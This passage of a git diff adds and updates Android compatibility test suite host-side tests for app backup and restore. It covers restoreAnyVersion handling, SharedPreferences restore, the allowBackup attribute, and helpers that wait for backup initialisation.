+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.restoreanyversionapp"
+ android:versionCode="100">
+
+ <application
+ android:backupAgent=".RestoreAnyVersionBackupAgent">
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.restoreanyversionapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
new file mode 100644
index 0000000..81652a7
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
new file mode 100644
index 0000000..57fdf1f
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.restoreanyversionapp"
+ android:versionCode="100">
+
+ <application
+ android:backupAgent=".RestoreAnyVersionBackupAgent"
+ android:restoreAnyVersion="true">
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.restoreanyversionapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionBackupAgent.java b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionBackupAgent.java
new file mode 100644
index 0000000..e4c65bd
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionBackupAgent.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.restoreanyversionapp;
+
+import android.app.backup.BackupAgentHelper;
+import android.app.backup.SharedPreferencesBackupHelper;
+
+public class RestoreAnyVersionBackupAgent extends BackupAgentHelper {
+ private static final String TAG = "RestoreAnyVersionBackupAgent";
+
+ private static final String TEST_PREFS_1 = "test-prefs-1";
+ private static final String KEY_BACKUP_TEST_PREFS_PREFIX = "backup-test-prefs";
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ addHelper(KEY_BACKUP_TEST_PREFS_PREFIX,
+ new SharedPreferencesBackupHelper(this, TEST_PREFS_1));
+ }
+}
diff --git a/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
new file mode 100644
index 0000000..1dbdb05
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.restoreanyversionapp;
+
+import static android.content.Context.MODE_PRIVATE;
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.SharedPreferences;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Device side routines to be invoked by the host side RestoreAnyVersionHostSideTest. These
+ * are not designed to be called in any other way, as they rely on state set up by the host side
+ * test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class RestoreAnyVersionTest {
+ private static final String TAG = "BackupTestRestoreAnyVer";
+
+ static final String TEST_PREFS_1 = "test-prefs-1";
+ static final String INT_PREF = "int-pref";
+ static final int DEFAULT_INT_VALUE = 0;
+
+ private static final int OLD_VERSION = 100;
+ private static final int NEW_VERSION = 200;
+
+ private Context mContext;
+
+ @Before
+ public void setUp() {
+ Log.i(TAG, "set up");
+ mContext = getTargetContext();
+ }
+
+ @Test
+ public void saveSharedPrefValue() throws Exception {
+ saveAppVersionCodeToSharedPreference();
+ }
+
+ @Test
+ public void checkAppVersionIsNew() throws Exception {
+ PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
+ mContext.getPackageName(), 0);
+ assertEquals(NEW_VERSION, packageInfo.versionCode);
+ }
+
+ @Test
+ public void checkSharedPrefIsEmpty() throws Exception {
+ int intValue = getAppSharedPreference();
+ assertEquals(DEFAULT_INT_VALUE, intValue);
+ }
+
+ @Test
+ public void checkSharedPrefIsNew() throws Exception {
+ int intValue = getAppSharedPreference();
+ assertEquals(NEW_VERSION, intValue);
+ }
+
+ @Test
+ public void checkAppVersionIsOld() throws Exception {
+ PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
+ mContext.getPackageName(), 0);
+ assertEquals(OLD_VERSION, packageInfo.versionCode);
+ }
+
+ @Test
+ public void checkSharedPrefIsOld() throws Exception {
+ int intValue = getAppSharedPreference();
+ assertEquals(OLD_VERSION, intValue);
+ }
+
+ private void saveAppVersionCodeToSharedPreference() throws NameNotFoundException {
+ SharedPreferences prefs = mContext.getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putInt(INT_PREF,
+ mContext.getPackageManager()
+ .getPackageInfo(mContext.getPackageName(), 0).versionCode);
+ assertTrue("Error committing shared preference value", editor.commit());
+ }
+
+ private int getAppSharedPreference() throws InterruptedException {
+ SharedPreferences prefs = mContext.getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+ int intValue = prefs.getInt(INT_PREF, DEFAULT_INT_VALUE);
+
+ Log.i(TAG, "Read the shared preference value: " + intValue);
+
+ return intValue;
+ }
+}
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
new file mode 100644
index 0000000..4e4f0be
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+
+LOCAL_PACKAGE_NAME := CtsSharedPreferencesRestoreApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
new file mode 100644
index 0000000..1cf6da5
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.sharedprefrestoreapp">
+
+ <application
+ android:backupAgent=".SharedPreferencesBackupAgent"
+ android:killAfterRestore="false" >
+
+ <activity android:name=".SharedPrefsRestoreTestActivity"
+ android:launchMode="singleInstance">
+ <intent-filter>
+ <action android:name="android.backup.cts.backuprestore.INIT" />
+ <action android:name="android.backup.cts.backuprestore.UPDATE" />
+ <action android:name="android.backup.cts.backuprestore.TEST" />
+ </intent-filter>
+ </activity>
+
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.sharedprefrestoreapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPreferencesBackupAgent.java b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPreferencesBackupAgent.java
new file mode 100644
index 0000000..e5a3948
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPreferencesBackupAgent.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.sharedprefrestoreapp;
+
+import android.app.backup.BackupAgentHelper;
+import android.app.backup.SharedPreferencesBackupHelper;
+
+public class SharedPreferencesBackupAgent extends BackupAgentHelper {
+
+ private static final String KEY_BACKUP_TEST_PREFS_PREFIX = "backup-test-prefs";
+ private static final String TEST_PREFS_1 = "test-prefs-1";
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ addHelper(KEY_BACKUP_TEST_PREFS_PREFIX,
+ new SharedPreferencesBackupHelper(this, TEST_PREFS_1));
+ }
+}
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPrefsRestoreTestActivity.java b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPrefsRestoreTestActivity.java
new file mode 100644
index 0000000..2f61c65
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPrefsRestoreTestActivity.java
@@ -0,0 +1,103 @@
+package android.cts.backup.sharedprefrestoreapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Test activity that verifies SharedPreference restore behavior.
+ * The activity lifecycle is driven by KeyValueBackupRestoreTest and is roughly the following:
+ *
+ * 1. This activity is launched; it creates a new SharedPreferences instance and writes
+ * a known value to the INT_PREF element's via that instance. The instance is
+ * kept live.
+ * 2. The app is backed up, storing this known value in the backup dataset.
+ * 3. Next, the activity is instructed to write a different value to the INT_PREF
+ * shared preferences element. At this point, the app's current on-disk state
+ * and the live shared preferences instance are in agreement, holding a value
+ * different from that in the backup.
+ * 4. The runner triggers a restore for this app. This will rewrite the shared prefs
+ * file itself with the backed-up content (i.e. different from what was just
+ * committed from this activity).
+ * 5. Finally, the runner instructs the activity to compare the value of its existing
+ * shared prefs instance's INT_PREF element with what was previously written.
+ * The test passes if these differ, i.e. if the live shared prefs instance picked
+ * up the newly-restored data.
+ *
+ */
+public class SharedPrefsRestoreTestActivity extends Activity {
+ static final String TAG = "SharedPrefsTest";
+
+ // Shared prefs test activity actions
+ static final String INIT_ACTION = "android.backup.cts.backuprestore.INIT";
+ static final String UPDATE_ACTION = "android.backup.cts.backuprestore.UPDATE";
+ static final String TEST_ACTION = "android.backup.cts.backuprestore.TEST";
+
+ static final String RESULT_ACTION = "android.backup.cts.backuprestore.RESULT";
+
+ private static final String TEST_PREFS_1 = "test-prefs-1";
+ private static final String INT_PREF = "int-pref";
+ private static final int INT_PREF_VALUE = 1;
+ private static final int INT_PREF_MODIFIED_VALUE = 99999;
+ private static final int INT_PREF_DEFAULT_VALUE = 0;
+ private static final String EXTRA_SUCCESS = "EXTRA_SUCCESS";
+
+ SharedPreferences mPrefs;
+ int mLastValue;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ mPrefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+ mLastValue = 0;
+
+ processLaunchCommand(getIntent());
+ }
+
+ @Override
+ protected void onNewIntent(Intent intent) {
+ processLaunchCommand(intent);
+ }
+
+ private void processLaunchCommand(Intent intent) {
+ final String action = intent.getAction();
+ Log.i(TAG, "processLaunchCommand: " + action);
+
+ boolean success = false;
+
+ if (INIT_ACTION.equals(action)) {
+ // We'll issue a backup after setting this value in shared prefs
+ success = setPrefValue(INT_PREF_VALUE);
+ } else if (UPDATE_ACTION.equals(action)) {
+ // We'll issue a *restore* after setting this value, which will send a broadcast
+ // to our receiver to read from the live instance and ensure that the value is
+ // different from what was just written.
+ success = setPrefValue(INT_PREF_MODIFIED_VALUE);
+ } else if (TEST_ACTION.equals(action)) {
+ final int currentValue = mPrefs.getInt(INT_PREF, INT_PREF_DEFAULT_VALUE);
+ Log.i(TAG, "current value: " + currentValue + " last value : " + mLastValue);
+
+ if (currentValue != mLastValue && currentValue != INT_PREF_DEFAULT_VALUE) {
+ success = true;
+ }
+ } else {
+ // Should never happen
+ Log.e(TAG, "Unexpected intent action");
+ return;
+ }
+
+ sendBroadcast(new Intent().setAction(RESULT_ACTION).putExtra(EXTRA_SUCCESS, success));
+ }
+
+ // Write a known value prior to backup
+ private boolean setPrefValue(int value) {
+ Log.i(TAG, "mLastValue = " + mLastValue + " setPrefValue: " + value );
+ mLastValue = value;
+ boolean success = mPrefs.edit().putInt(INT_PREF, value).commit();
+ Log.i(TAG, "setPrefValue success: " + success);
+ return success;
+ }
+}
diff --git a/hostsidetests/backup/fullbackupapp/Android.mk b/hostsidetests/backup/fullbackupapp/Android.mk
index 46af984..96f9032 100644
--- a/hostsidetests/backup/fullbackupapp/Android.mk
+++ b/hostsidetests/backup/fullbackupapp/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsFullbackupApp
diff --git a/hostsidetests/backup/includeexcludeapp/Android.mk b/hostsidetests/backup/includeexcludeapp/Android.mk
index 9c55290..a6d258e 100644
--- a/hostsidetests/backup/includeexcludeapp/Android.mk
+++ b/hostsidetests/backup/includeexcludeapp/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsIncludeExcludeApp
diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
new file mode 100644
index 0000000..4f46936
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertNull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test checking that allowBackup manifest attribute is respected by backup manager.
+ *
+ * Uses 2 apps that differ only by 'allowBackup' manifest attribute value.
+ *
+ * Tests 2 scenarios:
+ *
+ * 1. App that has 'allowBackup=false' in the manifest shouldn't be backed up.
+ * 2. App that doesn't have 'allowBackup' in the manifest (default is true) should be backed up.
+ *
+ * The flow of the tests is the following:
+ * 1. Install the app
+ * 2. Generate files in the app's data folder.
+ * 3. Run 'bmgr backupnow'. Depending on the manifest we expect either 'Success' or
+ * 'Backup is not allowed' in the output.
+ * 4. Uninstall/reinstall the app
+ * 5. Check whether the files were restored or not depending on the manifest.
+ *
+ * Invokes device side tests provided by
+ * android.cts.backup.backupnotallowedapp.AllowBackupTest.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AllowBackupHostSideTest extends BaseBackupHostSideTest {
+
+ private static final String ALLOWBACKUP_APP_NAME = "android.cts.backup.backupnotallowedapp";
+ private static final String ALLOWBACKUP_DEVICE_TEST_CLASS_NAME =
+ ALLOWBACKUP_APP_NAME + ".AllowBackupTest";
+
+ /** The name of the APK of the app that has allowBackup=false in the manifest */
+ private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
+
+ /** The name of the APK of the app that doesn't have allowBackup in the manifest
+ * (same as allowBackup=true by default) */
+ private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
+
+ @After
+ public void tearDown() throws Exception {
+ super.tearDown();
+
+ if (!mIsBackupSupported) {
+ return;
+ }
+
+ // Clear backup data and uninstall the package (in that order!)
+ clearBackupDataInLocalTransport(ALLOWBACKUP_APP_NAME);
+ assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
+ }
+
+ @Test
+ public void testAllowBackup_False() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+ // Generate the files that are going to be backed up.
+ checkAllowBackupDeviceTest("createFiles");
+
+ // Do a backup
+ String backupnowOutput = backupNow(ALLOWBACKUP_APP_NAME);
+
+ assertBackupIsNotAllowed(ALLOWBACKUP_APP_NAME, backupnowOutput);
+
+ assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
+
+ installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+ checkAllowBackupDeviceTest("checkNoFilesExist");
+ }
+
+ @Test
+ public void testAllowBackup_True() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+ // Generate the files that are going to be backed up.
+ checkAllowBackupDeviceTest("createFiles");
+
+ // Do a backup
+ String backupnowOutput = backupNow(ALLOWBACKUP_APP_NAME);
+
+ assertBackupIsSuccessful(ALLOWBACKUP_APP_NAME, backupnowOutput);
+
+ assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
+
+ installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+ checkAllowBackupDeviceTest("checkAllFilesExist");
+ }
+
+ private void checkAllowBackupDeviceTest(String methodName)
+ throws DeviceNotAvailableException {
+ checkDeviceTest(ALLOWBACKUP_APP_NAME, ALLOWBACKUP_DEVICE_TEST_CLASS_NAME,
+ methodName);
+ }
+
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
index 1d98021..eae5383 100644
--- a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
+++ b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
@@ -19,6 +19,7 @@
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.Option;
import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
@@ -26,6 +27,7 @@
import com.android.tradefed.targetprep.ITargetCleaner;
import com.android.tradefed.targetprep.TargetSetupError;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -51,6 +53,9 @@
private static final String LOCAL_TRANSPORT =
"android/com.android.internal.backup.LocalTransport";
+ private static final int BACKUP_PROVISIONING_TIMEOUT_SECONDS = 30;
+ private static final int BACKUP_PROVISIONING_POLL_INTERVAL_SECONDS = 1;
+
private boolean mIsBackupSupported;
private boolean mWasBackupEnabled;
private String mOldTransport;
@@ -63,6 +68,10 @@
mIsBackupSupported = mDevice.hasFeature("feature:" + FEATURE_BACKUP);
+ // In case the device was just rebooted, wait for the broadcast queue to get idle to avoid
+ // any interference from services doing backup clean up on reboot.
+ waitForBroadcastIdle();
+
if (mIsBackupSupported) {
// Enable backup and select local backup transport
if (!hasBackupTransport(LOCAL_TRANSPORT)) {
@@ -78,6 +87,7 @@
mOldTransport = setBackupTransport(LOCAL_TRANSPORT);
CLog.d("Old transport : %s", mOldTransport);
}
+ waitForBackupInitialization();
}
}
}
@@ -138,4 +148,46 @@
throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
}
}
+
+ private void waitForBackupInitialization()
+ throws TargetSetupError, DeviceNotAvailableException {
+ long tryUntilNanos = System.nanoTime()
+ + TimeUnit.SECONDS.toNanos(BACKUP_PROVISIONING_TIMEOUT_SECONDS);
+ while (System.nanoTime() < tryUntilNanos) {
+ String output = mDevice.executeShellCommand("dumpsys backup");
+ if (output.matches("(?s)" // DOTALL
+ + "^Backup Manager is .* not pending init.*")) {
+ return;
+ }
+ try {
+ Thread.sleep(TimeUnit.SECONDS.toMillis(BACKUP_PROVISIONING_POLL_INTERVAL_SECONDS));
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ break;
+ }
+ }
+ throw new TargetSetupError("Timed out waiting for backup initialization",
+ mDevice.getDeviceDescriptor());
+ }
+
+ // Copied over from BaseDevicePolicyTest
+ private void waitForBroadcastIdle() throws DeviceNotAvailableException, TargetSetupError {
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ // we allow 20 min for the command to complete and 10 min for the command to start to
+ // output something
+ mDevice.executeShellCommand(
+ "am wait-for-broadcast-idle", receiver, 20, 10, TimeUnit.MINUTES, 0);
+ } finally {
+ String output = receiver.getOutput();
+ CLog.d("Output from 'am wait-for-broadcast-idle': %s", output);
+ if (!output.contains("All broadcast queues are idle!")) {
+ // the call most likely failed we should fail the test
+ throw new TargetSetupError("'am wait-for-broadcase-idle' did not complete.",
+ mDevice.getDeviceDescriptor());
+ // TODO: consider adding a reboot or recovery before failing if necessary
+ }
+ }
+ }
+
}
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
index 9a04db8..acdb423 100644
--- a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
@@ -18,6 +18,7 @@
import static junit.framework.Assert.assertTrue;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assume.assumeTrue;
import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
@@ -30,6 +31,8 @@
import org.junit.runner.RunWith;
import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
/**
* Base class for CTS backup/restore hostside tests
@@ -51,6 +54,12 @@
CLog.i("android.software.backup feature is not supported on this device");
return;
}
+
+ // Check that the backup wasn't disabled and the transport wasn't switched unexpectedly.
+ assertTrue("Backup was unexpectedly disabled during the module test run",
+ isBackupEnabled());
+ assertEquals("LocalTransport should be selected at this point", LOCAL_TRANSPORT,
+ getCurrentTransport());
}
@After
@@ -91,6 +100,13 @@
}
/**
+ * Attempts to clear the device log.
+ */
+ protected void clearLogcat() throws DeviceNotAvailableException {
+ mDevice.executeAdbCommand("logcat", "-c");
+ }
+
+ /**
* Run test <testName> in test <className> found in package <packageName> on the device, and
* assert it is successful.
*/
@@ -107,7 +123,6 @@
* Expected format: "Package <packageName> with result: Success"
*/
protected void assertBackupIsSuccessful(String packageName, String backupnowOutput) {
- // Assert backup was successful.
Scanner in = new Scanner(backupnowOutput);
boolean success = false;
while (in.hasNextLine()) {
@@ -125,6 +140,29 @@
}
/**
+ * Parsing the output of "bmgr backupnow" command and checking that the package under test
+ * wasn't backed up because backup is not allowed
+ *
+ * Expected format: "Package <packageName> with result: Backup is not allowed"
+ */
+ protected void assertBackupIsNotAllowed(String packageName, String backupnowOutput) {
+ Scanner in = new Scanner(backupnowOutput);
+ boolean found = false;
+ while (in.hasNextLine()) {
+ String line = in.nextLine();
+
+ if (line.contains(packageName)) {
+ String result = line.split(":")[1].trim();
+ if ("Backup is not allowed".equals(result)) {
+ found = true;
+ }
+ }
+ }
+ in.close();
+ assertTrue("Didn't find \'Backup not allowed\' in the output", found);
+ }
+
+ /**
* Parsing the output of "bmgr restore" command and checking that the package under test
* was restored successfully.
*
@@ -158,4 +196,28 @@
protected void clearPackageData(String packageName) throws DeviceNotAvailableException {
mDevice.executeShellCommand(String.format("pm clear %s", packageName));
}
+
+ private boolean isBackupEnabled() throws DeviceNotAvailableException {
+ boolean isEnabled;
+ String output = mDevice.executeShellCommand("bmgr enabled");
